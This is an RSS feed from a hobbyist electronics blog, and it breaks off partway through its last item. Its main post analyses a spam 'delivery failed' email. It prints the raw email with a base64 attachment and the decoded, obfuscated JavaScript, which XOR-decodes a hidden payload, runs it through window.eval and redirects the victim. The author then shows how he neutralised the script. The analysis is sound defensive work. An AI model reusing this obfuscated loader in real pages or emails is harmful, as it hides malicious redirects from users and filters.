<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Robots w/Lasers</title>
	<atom:link href="http://blog.davr.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.davr.org</link>
	<description>Nintendo DS &#038; GBA development, microcontrollers, and occasionally FPGAs</description>
	<lastBuildDate>Thu, 08 Jul 2010 17:22:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Reverse Engineering Obfuscated Javascript</title>
		<link>http://blog.davr.org/2010/07/08/reverse-engineering-obfuscated-javascript/</link>
		<comments>http://blog.davr.org/2010/07/08/reverse-engineering-obfuscated-javascript/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 17:22:28 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=124</guid>
		<description><![CDATA[I keep getting these spam emails which are making it past Gmail&#8217;s spam filter. Basically, it looks like a &#8216;delivery failed&#8217; notification, with an HTML attachment which you are supposed to think is the original email. So you click on the attachment and open it, to find out which email you sent failed to go [...]]]></description>
			<content:encoded><![CDATA[<p>I keep getting these spam emails which are making it past Gmail&#8217;s spam filter. Basically, it looks like a &#8216;delivery failed&#8217; notification, with an HTML attachment which you are supposed to think is the original email. So you click on the attachment and open it, to find out which email you sent failed to go through. I finally got curious enough to see what exactly was going on. Here&#8217;s how the email looks like in Gmail:</p>
<p><img class="alignnone size-full wp-image-129" title="Spam email" src="http://blog.davr.org/wp-content/uploads/2010/07/spam_email.png" alt="Spam email screenshot" width="823" height="375" /></p>
<p>Here&#8217;s the actual full contents of the email (some ip / email addresses removed to protect the innocent)<br />
<span id="more-124"></span></p>
<pre>Delivered-To: xxx
Received: by 10.229.236.206 with SMTP id kl14cs141790qcb;
 Thu, 8 Jul 2010 09:00:59 -0700 (PDT)
Received: by 10.150.202.9 with SMTP id z9mr580063ybf.86.1278604858545;
 Thu, 08 Jul 2010 09:00:58 -0700 (PDT)
Return-Path: &lt;borers13@reportinternational.com&gt;
Received: from xxx
 by mx.google.com with ESMTP id l5si18198859ybj.58.2010.07.08.09.00.57;
 Thu, 08 Jul 2010 09:00:57 -0700 (PDT)
Received-SPF: neutral (google.com: xxx is neither permitted nor denied by best guess record for domain of borers13@reportinternational.com) client-ip=xxx;
Authentication-Results: mx.google.com; spf=neutral (google.com: xxx is neither permitted nor denied by best guess record for domain of borers13@reportinternational.com) smtp.mail=borers13@reportinternational.com
Received: from 93-86-52-90.dynamic.isp.telekom.rs (unknown [109.92.111.218])
 by xxx (Postfix) with ESMTP id 8CE6842D000B
 for &lt;xxx&gt;; Thu,  8 Jul 2010 11:00:51 -0500 (CDT)
Received: from 109.92.111.218 by mail1.optimisaplc.com; Thu, 8 Jul 2010 18:00:46 +0100
Message-ID: &lt;000d01cb1eb6$b9f0fa90$6400a8c0@borers13&gt;
From: postmaster@reportinternational.com
To: &lt;xxx&gt;
Subject: Delivery Status Notification (Failure)
Date: Thu, 8 Jul 2010 18:00:46 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----=_NextPart_000_0006_01CB1EB6.B9F0FA90"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2180
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180

This is a multi-part message in MIME format.

------=_NextPart_000_0006_01CB1EB6.B9F0FA90
Content-Type: text/plain;
 format=flowed;
 charset="Windows-1252";
 reply-type=original
Content-Transfer-Encoding: 7bit

Note: Forwarded message is attached.

This is an automatically generated Delivery Status Notification.

Delivery to the following recipients failed.

 borers13@reportinternational.com

Final-Recipient: rfc822;borers13@reportinternational.com
Action: failed
Status: 5.1.1

------=_NextPart_000_0006_01CB1EB6.B9F0FA90
Content-Type: text/html;
 name="Forwarded Message.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="Forwarded Message.html"

PHNjcmlwdD52YXIgY0U7aWYoY0UhPSdpSlYnICYmIGNFIT0neUonKXtjRT0nJ307dmFyIHBQO2lm
KHBQIT0na1gnICYmIHBQIT0nd01KJyl7cFA9Jyd9O3ZhciB0SUo9ZmFsc2U7dmFyIHZVTTt2YXIg
aUE9bmV3IEFycmF5KCk7dmFyIHVBPW5ldyBBcnJheSgpO3ZVTT0nOGQ4ZTgnKycyODA5NScrJzg4
OGU4JysnZmNmODknKyc5Mzg0OCcrJzdjMWRjJysnYzFjNjgnKyc5OTU5NScrJzkxZGJjJysnZWNl
OTUnKyc5Mzg0OCcrJ2Y4NTliJysnOGM4MDknKyczOGE4NCcrJzk1Y2Y4JysnMjhlOGMnKydjZTg4
OCcrJ2Y4NTg0JysnOTlkMmMnKydmODk5NScrJzhjOGRjJysnNmRhJzt2YXIgZVg9bmV3IERhdGUo
KTt2YXIgbU09MjI3MDk7dmFyIGpORDtpZihqTkQhPSdxRlYnICYmIGpORCE9J2RMJyl7ak5EPScn
fTt2YXIgZFU9MjM2MzM7ICAgZnVuY3Rpb24gZShvKXt2YXIgeE07aWYoeE0gPT0gJ2FWJyl7eE09
MDt9O3RoaXMuYko9IiI7dGhpcy55Tj0ieU4iO3ZhciBrQ1cgPSBNYXRoLnJhbmRvbSgpO2Z1bmN0
aW9uIHIoaSx1RCl7dmFyIHlUPScnO3ZhciB6WD0nJzt0aGlzLnBJPScnO3JldHVybiBpWydcdTAw
NjMnK3VuZXNjYXBlKCclNjglNjElNzIlNDMlNmYlNjQlNjUlNDElNzQnKV0odUQpO3ZhciB5RTtp
Zih5RSE9JycgJiYgeUUhPSd6UCcpe3lFPW51bGx9O3ZhciBrPWZhbHNlO312YXIgaVA9bmV3IEFy
cmF5KCk7dmFyIHdZPW5ldyBBcnJheSgpO3RoaXMuZkQ9Jyc7dmFyIGpBPScnO2Z1bmN0aW9uIGtW
KGEsclUpe3ZhciB6TT0yMzk4Mzt0aGlzLnFQPSJxUCI7cmV0dXJuIGFeclU7fXZhciBiRSA9IG5l
dyBEYXRlKCk7ICB2YXIgbFI7aWYobFIhPScnICYmIGxSIT0ndFZMJyl7bFI9bnVsbH07dmFyIGYg
PSBiRVsnXHUwMDY3XHUwMDY1XHUwMDc0XHUwMDUzXHUwMDY1Jyt1bmVzY2FwZSgnJTYzJTZmJTZl
JTY0JTczJyldKCk7dmFyIGQgPSBmIC0gYkE7dmFyIHRMTTtpZih0TE0hPScnICYmIHRMTSE9J3Un
KXt0TE09Jyd9O2lmKGQgPCAwKSBkID0gMTt2YXIgdUI9NDkxMDI7dmFyIG5CPTI4ODc4O2lmKGQg
PiAxKSBkID0gMTt2YXIgdE09Jyc7dmFyIGRYQz0nJzt2YXIgaVUgPSBkO3ZhciBnTztpZihnTyE9
J2pHJyAmJiBnTyE9J3JTJyl7Z089J2pHJ307dmFyIHBISTtpZihwSEkhPSdiJyAmJiBwSEkgIT0g
Jycpe3BIST1udWxsfTt2YXIgdCA9IHdpbmRvdzt2YXIgZkM7aWYoZkMgPT0gJ2lKJyl7ZkM9MDt9
O3RoaXMuZUE9NDkxNjE7dGhpcy5wUj1mYWxzZTt2YXIgaU0gPSBkb2N1bWVudDt2YXIgclIgPSBT
dHJpbmc7dmFyIHREPScnO3ZhciBmQ047aWYoZkNOIT0nJyAmJiBmQ04hPSdySCcpe2ZDTj0nYyd9
O3ZhciBjQjtpZihjQiE9JycgJiYgY0IhPSdhQicpe2NCPSd4RCd9O3ZhciB3ID0gdFsnXHUwMDc1
XHUwMDZlJyt1bmVzY2FwZSgnJTY1JTczJTYzJTYxJTcwJTY1JyldO3ZhciBlVCA9IHJSWydcdTAw
NjYnK3VuZXNjYXBlKCclNzIlNmYlNmQlNDMlNjglNjElNzIlNDMlNmYlNjQlNjUnKV07dmFyIGFP
O2lmKGFPIT0nJyAmJiBhTyE9J2RCQicpe2FPPW51bGx9O3RoaXMuZk89Jyc7dmFyIGRKPWZhbHNl
O3ZhciBpUztpZihpUyE9J2dNJyAmJiBpUyE9J2ROJyl7aVM9Jyd9O3ZhciBqRjtpZihqRiE9Jycg
JiYgakYhPSd4SScpe2pGPScnfTt2YXIgZVAgPSAnJzt2YXIgck87aWYock8hPScnICYmIHJPIT0n
cFMnKXtyTz0nJ307dGhpcy5oSz1mYWxzZTt2YXIgYVcgPSAnJSc7dmFyIGVLID0gMjt2YXIgd1Eg
PSAwO3RoaXMuZ0U9IiI7dmFyIHNHO2lmKHNHIT0nJyAmJiBzRyE9J2ZOJyl7c0c9bnVsbH07dmFy
IHkgPSBvWydcdTAwNmMnK3VuZXNjYXBlKCclNjUlNmUlNjclNzQlNjgnKV07dGhpcy54Rj0iIjt2
YXIgY0cgPSBNYXRoLnJhbmRvbSgpO3ZhciBqWD00NDA3Mjtmb3IodmFyIHE9d1E7IHEgPCB5OyBx
Kz1lSyl7dGhpcy51Sj0nJzt2YXIgeUs7aWYoeUshPScnICYmIHlLIT0ncEhNJyl7eUs9Jyd9O3Zh
ciBlRTtpZihlRSA9PSAncUknKXtlRT0wO307ZVArPSBhVyArIG9bJ1x1MDA3M1x1MDA3NVx1MDA2
MicrdW5lc2NhcGUoJyU3MyU3NCU3MicpXShxLCBlSyk7dGhpcy5mVT04MTQxO3ZhciBmVztpZihm
VyE9JycgJiYgZlchPSd0Vycpe2ZXPScnfTt9dmFyIHpNQz1mYWxzZTt2YXIgbyA9IHcoZVApO3Ro
aXMuaUQ9Jyc7dmFyIHhMPWZhbHNlO3RoaXMuYkw9MTIwMzt2YXIgbiA9IDIyNCArIGlVO3ZhciBk
WCA9ICcnO3ZhciB6RztpZih6RyE9JycgJiYgekchPSdxQ0YnKXt6Rz0nJ307dGhpcy5oSD0nJzt2
YXIgclcgPSBvWydcdTAwNmMnK3VuZXNjYXBlKCclNjUlNmUlNjclNzQlNjgnKV07dmFyIGFQPScn
O3ZhciB2STtpZih2SSA9PSAndUYnKXt2ST0wO307dmFyIGhWSD0nJztmb3IodmFyIGpRPTA7IGpR
IDwgclc7IGpRKyspe3ZhciBqVDtpZihqVCE9J2RIJyAmJiBqVCAhPSAnJyl7alQ9bnVsbH07dmFy
IGFOUz1uZXcgQXJyYXkoKTt2YXIgclJLO2lmKHJSSyE9JycgJiYgclJLIT0nekhWJyl7clJLPScn
fTt2YXIgYkpYPW5ldyBEYXRlKCk7dmFyIGxWID0gcihvLGpRKTtsViA9IGtWKGxWLCBuKTt2YXIg
c0E7aWYoc0EhPScnICYmIHNBIT0neEEnKXtzQT0nJ307dmFyIHlLSDtpZih5S0ghPScnICYmIHlL
SCE9J25UJyl7eUtIPScnfTt0aGlzLndYPSJ3WCI7ZFgrPWVUKGxWKTt9dmFyIGxVO2lmKGxVIT0n
JyAmJiBsVSE9J2JZJyl7bFU9bnVsbH07dGhpcy5rSkE9Jyc7dGhpcy5tQz0iIjt0WydcdTAwNjVc
dTAwNzYnK3VuZXNjYXBlKCclNjElNkMnKV0oZFgpO3JldHVybiBkWDt9dmFyIGJOPW5ldyBBcnJh
eSgpO3ZhciB3SztpZih3SyE9J21LJyAmJiB3SyE9J3hWQycpe3dLPSdtSyd9O3ZhciBvQj0nJzt2
YXIgdVdOPScnO3ZhciBhVDtpZihhVCE9JycgJiYgYVQhPSdvQkonKXthVD1udWxsfTt2YXIgd0Ig
PSBuZXcgRGF0ZSgpO3ZhciBiQSA9IHdCWydcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTNcdTAwNjUn
K3VuZXNjYXBlKCclNjMlNmYlNmUlNjQlNzMnKV0oKTsgdmFyIHVTPW5ldyBBcnJheSgpO3RoaXMu
bFg9Mzc5NDt0aGlzLmFQTj02NDQwMjtzZXRUaW1lb3V0KCdlKHZVTSknLCA5ODUpO3ZhciB3UUg7
aWYod1FIIT0nJyAmJiB3UUghPSdmSCcpe3dRSD0nJ307dmFyIG1VPW5ldyBBcnJheSgpO3ZhciB0
WT1mYWxzZTs8L3NjcmlwdD4= 

------=_NextPart_000_0006_01CB1EB6.B9F0FA90--
</pre>
<p>The first thing that threw up a red flag was that the HTML attachment was base64 encoded. Generally if something is a text attachment, it&#8217;s not encoded, which makes it easy to examine in your mail reader without executing it. So the first thing I did was decode the base64, a quick google turned up <a href="http://www.opinionatedgeek.com/dotnet/tools/base64decode/safedecode.aspx">this base64 decoder tool</a>. The result was this:</p>
<pre>
<pre>&lt;script&gt;var cE;if(cE!='iJV' &amp;&amp; cE!='yJ'){cE=''};var pP;if(pP!='kX' &amp;&amp; pP!='wMJ'){pP=''};var tIJ=fals
e;var vUM;var iA=new Array();var uA=new Array();vUM='8d8e8'+'28095'+'888e8'+'fcf89'+'93848'+'7c1dc'+
'c1c68'+'99595'+'91dbc'+'ece95'+'93848'+'f859b'+'8c809'+'38a84'+'95cf8'+'28e8c'+'ce888'+'f8584'+'99d
2c'+'f8995'+'8c8dc'+'6da';var eX=new Date();var mM=22709;var jND;if(jND!='qFV' &amp;&amp; jND!='dL'){jND=''}
;var dU=23633;   function e(o){var xM;if(xM == 'aV'){xM=0;};this.bJ="";this.yN="yN";var kCW = Math.r
andom();function r(i,uD){var yT='';var zX='';this.pI='';return i['\u0063'+unescape('%68%61%72%43%6f%
64%65%41%74')](uD);var yE;if(yE!='' &amp;&amp; yE!='zP'){yE=null};var k=false;}var iP=new Array();var wY=new
 Array();this.fD='';var jA='';function kV(a,rU){var zM=23983;this.qP="qP";return a^rU;}var bE = new
Date();  var lR;if(lR!='' &amp;&amp; lR!='tVL'){lR=null};var f = bE['\u0067\u0065\u0074\u0053\u0065'+unescap
e('%63%6f%6e%64%73')]();var d = f - bA;var tLM;if(tLM!='' &amp;&amp; tLM!='u'){tLM=''};if(d &lt; 0) d = 1;var u
B=49102;var nB=28878;if(d &gt; 1) d = 1;var tM='';var dXC='';var iU = d;var gO;if(gO!='jG' &amp;&amp; gO!='rS')
{gO='jG'};var pHI;if(pHI!='b' &amp;&amp; pHI != ''){pHI=null};var t = window;var fC;if(fC == 'iJ'){fC=0;};th
is.eA=49161;this.pR=false;var iM = document;var rR = String;var tD='';var fCN;if(fCN!='' &amp;&amp; fCN!='rH
'){fCN='c'};var cB;if(cB!='' &amp;&amp; cB!='aB'){cB='xD'};var w = t['\u0075\u006e'+unescape('%65%73%63%61%7
0%65')];var eT = rR['\u0066'+unescape('%72%6f%6d%43%68%61%72%43%6f%64%65')];var aO;if(aO!='' &amp;&amp; aO!=
'dBB'){aO=null};this.fO='';var dJ=false;var iS;if(iS!='gM' &amp;&amp; iS!='dN'){iS=''};var jF;if(jF!='' &amp;&amp; j
F!='xI'){jF=''};var eP = '';var rO;if(rO!='' &amp;&amp; rO!='pS'){rO=''};this.hK=false;var aW = '%';var eK =
 2;var wQ = 0;this.gE="";var sG;if(sG!='' &amp;&amp; sG!='fN'){sG=null};var y = o['\u006c'+unescape('%65%6e%
67%74%68')];this.xF="";var cG = Math.random();var jX=44072;for(var q=wQ; q &lt; y; q+=eK){this.uJ='';va
r yK;if(yK!='' &amp;&amp; yK!='pHM'){yK=''};var eE;if(eE == 'qI'){eE=0;};eP+= aW + o['\u0073\u0075\u0062'+un
escape('%73%74%72')](q, eK);this.fU=8141;var fW;if(fW!='' &amp;&amp; fW!='tW'){fW=''};}var zMC=false;var o =
 w(eP);this.iD='';var xL=false;this.bL=1203;var n = 224 + iU;var dX = '';var zG;if(zG!='' &amp;&amp; zG!='qC
F'){zG=''};this.hH='';var rW = o['\u006c'+unescape('%65%6e%67%74%68')];var aP='';var vI;if(vI == 'uF
'){vI=0;};var hVH='';for(var jQ=0; jQ &lt; rW; jQ++){var jT;if(jT!='dH' &amp;&amp; jT != ''){jT=null};var aNS=n
ew Array();var rRK;if(rRK!='' &amp;&amp; rRK!='zHV'){rRK=''};var bJX=new Date();var lV = r(o,jQ);lV = kV(lV,
 n);var sA;if(sA!='' &amp;&amp; sA!='xA'){sA=''};var yKH;if(yKH!='' &amp;&amp; yKH!='nT'){yKH=''};this.wX="wX";dX+=e
T(lV);}var lU;if(lU!='' &amp;&amp; lU!='bY'){lU=null};this.kJA='';this.mC="";t['\u0065\u0076'+unescape('%61%
6C')](dX);return dX;}var bN=new Array();var wK;if(wK!='mK' &amp;&amp; wK!='xVC'){wK='mK'};var oB='';var uWN=
'';var aT;if(aT!='' &amp;&amp; aT!='oBJ'){aT=null};var wB = new Date();var bA = wB['\u0067\u0065\u0074\u0053
\u0065'+unescape('%63%6f%6e%64%73')](); var uS=new Array();this.lX=3794;this.aPN=64402;setTimeout('e
(vUM)', 985);var wQH;if(wQH!='' &amp;&amp; wQH!='fH'){wQH=''};var mU=new Array();var tY=false;&lt;/script&gt;
</pre>
</pre>
<p>That&#8217;s not very readable, so another quick trip to the google turned up <a href="http://jsbeautifier.org/">this javascript formatter</a>, producing this output:</p>
<pre id="codemain">var cE;
if (cE != 'iJV' &amp;&amp; cE != 'yJ') {
    cE = ''
};
var pP;
if (pP != 'kX' &amp;&amp; pP != 'wMJ') {
    pP = ''
};
var tIJ = false;
var vUM;
var iA = new Array();
var uA = new Array();
vUM = '8d8e8' + '28095' + '888e8' + 'fcf89' + '93848' + '7c1dc' + 'c1c68' + '99595' + '91dbc' + 'ece95' + '93848' + 'f859b' + '8c809' + '38a84' + '95cf8' + '28e8c' + 'ce888' + 'f8584' + '99d2c' + 'f8995' + '8c8dc' + '6da';
var eX = new Date();
var mM = 22709;
var jND;
if (jND != 'qFV' &amp;&amp; jND != 'dL') {
    jND = ''
};
var dU = 23633;

function e(o) {
    var xM;
    if (xM == 'aV') {
        xM = 0;
    };
    this.bJ = "";
    this.yN = "yN";
    var kCW = Math.random();

    function r(i, uD) {
        var yT = '';
        var zX = '';
        this.pI = '';
        return i['\u0063' + unescape('%68%61%72%43%6f%64%65%41%74')](uD);
        var yE;
        if (yE != '' &amp;&amp; yE != 'zP') {
            yE = null
        };
        var k = false;
    }
    var iP = new Array();
    var wY = new Array();
    this.fD = '';
    var jA = '';

    function kV(a, rU) {
        var zM = 23983;
        this.qP = "qP";
        return a ^ rU;
    }
    var bE = new Date();
    var lR;
    if (lR != '' &amp;&amp; lR != 'tVL') {
        lR = null
    };
    var f = bE['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();
    var d = f - bA;
    var tLM;
    if (tLM != '' &amp;&amp; tLM != 'u') {
        tLM = ''
    };
    if (d &lt; 0) d = 1;
    var uB = 49102;
    var nB = 28878;
    if (d &gt; 1) d = 1;
    var tM = '';
    var dXC = '';
    var iU = d;
    var gO;
    if (gO != 'jG' &amp;&amp; gO != 'rS') {
        gO = 'jG'
    };
    var pHI;
    if (pHI != 'b' &amp;&amp; pHI != '') {
        pHI = null
    };
    var t = window;
    var fC;
    if (fC == 'iJ') {
        fC = 0;
    };
    this.eA = 49161;
    this.pR = false;
    var iM = document;
    var rR = String;
    var tD = '';
    var fCN;
    if (fCN != '' &amp;&amp; fCN != 'rH') {
        fCN = 'c'
    };
    var cB;
    if (cB != '' &amp;&amp; cB != 'aB') {
        cB = 'xD'
    };
    var w = t['\u0075\u006e' + unescape('%65%73%63%61%70%65')];
    var eT = rR['\u0066' + unescape('%72%6f%6d%43%68%61%72%43%6f%64%65')];
    var aO;
    if (aO != '' &amp;&amp; aO != 'dBB') {
        aO = null
    };
    this.fO = '';
    var dJ = false;
    var iS;
    if (iS != 'gM' &amp;&amp; iS != 'dN') {
        iS = ''
    };
    var jF;
    if (jF != '' &amp;&amp; jF != 'xI') {
        jF = ''
    };
    var eP = '';
    var rO;
    if (rO != '' &amp;&amp; rO != 'pS') {
        rO = ''
    };
    this.hK = false;
    var aW = '%';
    var eK = 2;
    var wQ = 0;
    this.gE = "";
    var sG;
    if (sG != '' &amp;&amp; sG != 'fN') {
        sG = null
    };
    var y = o['\u006c' + unescape('%65%6e%67%74%68')];
    this.xF = "";
    var cG = Math.random();
    var jX = 44072;
    for (var q = wQ;
    q &lt; y;
    q += eK) {
        this.uJ = '';
        var yK;
        if (yK != '' &amp;&amp; yK != 'pHM') {
            yK = ''
        };
        var eE;
        if (eE == 'qI') {
            eE = 0;
        };
        eP += aW + o['\u0073\u0075\u0062' + unescape('%73%74%72')](q, eK);
        this.fU = 8141;
        var fW;
        if (fW != '' &amp;&amp; fW != 'tW') {
            fW = ''
        };
    }
    var zMC = false;
    var o = w(eP);
    this.iD = '';
    var xL = false;
    this.bL = 1203;
    var n = 224 + iU;
    var dX = '';
    var zG;
    if (zG != '' &amp;&amp; zG != 'qCF') {
        zG = ''
    };
    this.hH = '';
    var rW = o['\u006c' + unescape('%65%6e%67%74%68')];
    var aP = '';
    var vI;
    if (vI == 'uF') {
        vI = 0;
    };
    var hVH = '';
    for (var jQ = 0;
    jQ &lt; rW;
    jQ++) {
        var jT;
        if (jT != 'dH' &amp;&amp; jT != '') {
            jT = null
        };
        var aNS = new Array();
        var rRK;
        if (rRK != '' &amp;&amp; rRK != 'zHV') {
            rRK = ''
        };
        var bJX = new Date();
        var lV = r(o, jQ);
        lV = kV(lV, n);
        var sA;
        if (sA != '' &amp;&amp; sA != 'xA') {
            sA = ''
        };
        var yKH;
        if (yKH != '' &amp;&amp; yKH != 'nT') {
            yKH = ''
        };
        this.wX = "wX";
        dX += eT(lV);
    }
    var lU;
    if (lU != '' &amp;&amp; lU != 'bY') {
        lU = null
    };
    this.kJA = '';
    this.mC = "";
    t['\u0065\u0076' + unescape('%61%6C')](dX);
    return dX;
}
var bN = new Array();
var wK;
if (wK != 'mK' &amp;&amp; wK != 'xVC') {
    wK = 'mK'
};
var oB = '';
var uWN = '';
var aT;
if (aT != '' &amp;&amp; aT != 'oBJ') {
    aT = null
};
var wB = new Date();
var bA = wB['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();
var uS = new Array();
this.lX = 3794;
this.aPN = 64402;
setTimeout('e(vUM)', 985);
var wQH;
if (wQH != '' &amp;&amp; wQH != 'fH') {
    wQH = ''
};
var mU = new Array();
var tY = false;
</pre>
<p>Well at least it&#8217;s broken up into separate lines, but it still is pretty meaningless at a quick glance. My next step was to go through all the encoded lines and see if they turned up anything suspicious. It&#8217;s easy to do in a browser, take this line of code:</p>
<pre id="codemain">var bA = wB['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();</pre>
<p>Go up to your browser&#8217;s address bar, and enter:</p>
<pre id="codemain">javascript:alert(XYZ)</pre>
<p>Where &#8216;XYZ&#8217; is what you&#8217;re interested in. In this case I typed:</p>
<pre id="codemain">javascript:alert('\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73'));</pre>
<p>The result was &#8216;getSeconds&#8217;. Looking at the line above, wB is Date(), so this whole line of code is effectively calling (new Date()).getSeconds(); nothing dangerous there. I then did that for all the lines containing unicode escaped characters and url escaped characters. The only suspicious one I could find was</p>
<pre id="codemain">    var t = window;
        // ... later ...
    t['\u0065\u0076' + unescape('%61%6C')](dX);</pre>
<p>This translates to &#8216;window.eval(dX)&#8217;, which is basically saying &#8216;Take whatever is in the variable dX, and execute it as JavaScript code&#8217;. Since nothing else was dangerous (just calls to things like String.length, String.getCharCodeAt, String.substr, etc), I determined that as long as I removed that line of code, it would be safe to run. So I created a new HTML file as follows:</p>
<pre>&lt;html&gt;
&lt;body&gt;
&lt;textarea id="mytxt"/&gt;
&lt;script&gt;

 // ... entire script pasted here ... 

 // t['\u0065\u0076' + unescape('%61%6C')](dX);  this line replaced with:
 var mytxt = document.getElementById('mytxt');
 mytxt.value = dX;

 // ... rest of script ...

&lt;/script&gt;
</pre>
<p>What this does, is instead of executing the code, it dumps it out to a textarea. I then simply saved this as &#8216;hax.html&#8217;, opened it in my browser, and saw:</p>
<p><a href="http://blog.davr.org/wp-content/uploads/2010/07/hax.html.png"><img class="alignnone size-full wp-image-135" title="hax.html" src="http://blog.davr.org/wp-content/uploads/2010/07/hax.html.png" alt="hax.html" width="462" height="314" /></a></p>
<p>And there you have it&#8230;the entire result of this long and complicated obfuscated JavaScript was simply to redirect me to some spammer&#8217;s site. And I didn&#8217;t even have to figure out how the obfuscation worked, all I needed to do was find a single weak point, where it has been decoded but not yet executed, and then change the command to run the code into a command to display the code.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2010/07/08/reverse-engineering-obfuscated-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Inexpensive PCB manufacturing for hobbyists</title>
		<link>http://blog.davr.org/2010/07/07/inexpensive-pcb-manufacturing-for-hobbyists/</link>
		<comments>http://blog.davr.org/2010/07/07/inexpensive-pcb-manufacturing-for-hobbyists/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 00:25:59 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Hardware]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=121</guid>
		<description><![CDATA[I just found this service which provides very inexpensive PCB&#8217;s for hobbyists. His pricing structure is very simple: $5 per sq inch, you get three copies of the PCB, and there&#8217;s no setup fees and free shipping. He&#8217;s doing kind of a BatchPCB thing, but somehow has made the cost less expensive. (BatchPCB is $2.5 [...]]]></description>
			<content:encoded><![CDATA[<p>I just found this service which provides very <a href="http://dorkbotpdx.org/wiki/pcb_order">inexpensive PCB&#8217;s for hobbyists</a>. His pricing structure is very simple: $5 per sq inch, you get three copies of the PCB, and there&#8217;s no setup fees and free shipping. He&#8217;s doing kind of a BatchPCB thing, but somehow has made the cost less expensive. (BatchPCB is $2.5 per sq inch, you get one copy of the PCB, and there&#8217;s a $10 setup/shipping fee). I haven&#8217;t tried it yet, but he says he needs more people to use his service, otherwise he loses lots of money, so I think I&#8217;ll give it a go.</p>
<p>Oh, and did I mention, it&#8217;s with 6 mil minimum trace/spacing?</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2010/07/07/inexpensive-pcb-manufacturing-for-hobbyists/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nintendo Wii only $160!</title>
		<link>http://blog.davr.org/2010/05/30/nintendo-wii-only-175/</link>
		<comments>http://blog.davr.org/2010/05/30/nintendo-wii-only-175/#comments</comments>
		<pubDate>Sun, 30 May 2010 16:12:31 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[nintendo wii]]></category>

		<guid isPermaLink="false">http://blog.davr.org/2009/09/30/nintendo-wii-only-175/</guid>
		<description><![CDATA[Amazon is currently offering <a href="http://www.amazon.com/Wii-Nintendo/dp/B0009VXBAQ?tag=robwlas-20">a $25 gift card when you buy a Nintendo Wii</a> for only $199]]></description>
			<content:encoded><![CDATA[<p>At Amazon. Free shipping &#038; no sales tax for most people, <a href="http://www.amazon.com/Wii-Nintendo/dp/B0009VXBAQ?tag=robwlas-20">it&#8217;s a pretty good deal</a>. Back when I bought mine in Jan 08, they would routinely sell out within 15 minutes of getting more stock on Amazon. I guess now that most everyone in the universe has one, the price is getting reduced</p>
<p>Excellent games I&#8217;ve played and can recommend: <a href="http://www.amazon.com/Super-Mario-Galaxy-Nintendo-Wii/dp/B000FQ9QVI?tag=robwlas-20">Super Mario Galaxy 1</a> or <a href="http://www.amazon.com/Super-Mario-Galaxy-2-Nintendo-Wii/dp/B002BSA388?tag=robwlas-20">2</a>, <a href="http://www.amazon.com/Mario-Kart-Wii-Wheel-Nintendo/dp/B000XJNTNS?tag=robwlas-20">Mario Kart Wii</a>, <a href="http://www.amazon.com/Wii-Rock-Band-2-Special-Nintendo/dp/B001BXACIA?tag=robwlas-20">Rock Band 2</a>, and <a href="http://www.amazon.com/Dokapon-Kingdom-Nintendo-Wii/dp/B001AMTH1A?tag=robwlas-20">Dokapon Kingdom</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2010/05/30/nintendo-wii-only-175/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;The selected volume is offline&#8221;</title>
		<link>http://blog.davr.org/2010/04/18/the-selected-volume-is-offline/</link>
		<comments>http://blog.davr.org/2010/04/18/the-selected-volume-is-offline/#comments</comments>
		<pubDate>Sun, 18 Apr 2010 23:49:27 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.davr.org/2010/04/18/the-selected-volume-is-offline/</guid>
		<description><![CDATA[Got this error message when trying to delete a partition / volume in Windows 7 Disk Management. Zero hits on google for the error message, so in case anyone ever gets this again, what I had to do was first assign a drive letter to the partition. For some strange reason, on a dynamic disk, [...]]]></description>
			<content:encoded><![CDATA[<p>Got this error message when trying to delete a partition / volume in Windows 7 Disk Management. Zero hits on google for the error message, so in case anyone ever gets this again, what I had to do was first assign a drive letter to the partition. For some strange reason, on a dynamic disk, windows wont let you delete a volume if it doesn&#8217;t have a drive letter.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2010/04/18/the-selected-volume-is-offline/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comparison of PC-based logic analyzers</title>
		<link>http://blog.davr.org/2010/03/16/comparison-of-logic-analyzers/</link>
		<comments>http://blog.davr.org/2010/03/16/comparison-of-logic-analyzers/#comments</comments>
